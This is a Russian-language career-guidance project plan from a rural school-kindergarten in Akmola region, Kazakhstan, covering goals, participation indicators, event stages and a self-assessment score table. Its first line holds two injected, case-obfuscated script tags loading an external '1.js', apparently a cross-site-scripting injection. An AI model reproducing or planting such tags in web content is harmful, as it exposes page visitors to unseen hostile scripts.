<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Наименование

«Труд

на радость себе и людям»

Руководитель

Уразбекова Г.К.-директор школы-сада.

Инициатор

ГУ «Наумовская средняя школа-сад»

Спонсор

Не требуется

Цель

 Создание условий для формирования  у воспитанников конкретно-наглядных

представлений о существующих профессиях.

Ожидаемый

результат

 У учащихся:

Сформируются,

 в дальнейшем  закрепятся  навыки и умения общего труда

-

воспитать уважение к людям труда,

-

повысится уровень знаний о мире профессий

-учащиеся

младшего и среднего школьного возраста выяснят первые профессиональные

предпочтения, а в старшем школьном возрасте  смогут сделать обдуманный, окончательный

выбор будущей профессии. Охват учащихся 100 %.

Индикаторы

1. Доля и количество обучающихся, охваченных мероприятиями:

2018 г.  ноябрь  - 34 человек

2019 г. апрель- 81 человека

2019 г. октябрь- 19 человек

2019г. декабрь- 28 человек

Другие

участники и стейкхолдеры

Дом культуры, ТОО «Хлебороб»

Сроки

реализации

2018 -2019

Место

реализации

(район,

город, населенный пункт/организация)

Акмолинская область, Аккольский район, с Наумовка, ГУ

«Наумовская средняя школа-сад»

Стоимость

0

№

Задачи

Показатели

результатов

Срок

реализации

Начало

Завершение *

1.    

Выставка

рисунков, поделок «Мир моих интересов »

2018

2019

1

Организационный этап

1.    

Утверждение

рабочей группы.

2.     Организация и оформления места проведения выставки.

ноябрь

май

2

Организация открытия мероприятия

1.    

Составления сценария

открытия  выставки.

2.    

Работа гида  на выставке

Декабрь

май

3

 Завершающий этап

Освещение в СМИ

Декабрь

май

2. 

 Форум «Профессии с

большой перспективой»

2018

2019

1

Организационный этап соревнований

1.Утверждение  рабочей группы.

март

2

Реализация мероприятия

1. Открытие мероприятия

2. Представление профессий

апрель

3

Завершающий этап

Освещение в СМИ

апрель

3. Круглый стол «

Успешные люди села»

2018

2019

1

Организационный этап соревнований

1. Утверждение  рабочей группы.

2. Приглашение гостей.

октябрь

2

Реализация мероприятия

1 Составление сценария круглого стола

2.Встреча с  успешными людьми.

октябрь

3

Завершающий этап

Освещение в СМИ

октябрь

4.Защита проектов «Один день на

производстве»

2018

2019

1

Организационный этап соревнований

1.    

Утверждение  рабочей группы.

2.    

Сбор материала.

3.    

Экскурсии

ноябрь

2

Реализация мероприятия

1. Представление готового результата.

декабрь

3

Завершающий этап

Освещение в СМИ, оформление брошюры.

декабрь

 «_____________________» наименование события/вехи/этапа

Потенциальный уровень

воздействия подпроекта на изменение сознания

участников по 6

направлениям (по шкале от 1 до 5 баллов):

Масштаб и охвата 2017

году, включая СМИ и соц.сети, баллов

Итоговый балл (7+(8/9/10/11)

Конкурентоспособность

Прагматизм

Сохранение национальной идентичности

Культ знания

Эволюционное, а не революционное развитие Казахстана

Открытость сознания

Всего (1+2+3+4+5+6)

5                                                

(до 1000 человек)      

15            (от

1000             до 100 тыс. чел)

30              (от 100

тыс. до 1млн. чел.)

50 (свыше 1 млн. чел.)

1

2

3

4

5

6

7

8

9

10

11

12

4

5

5

5

5

5

29

5

34

№

Риски

Описание риска

1

 -

-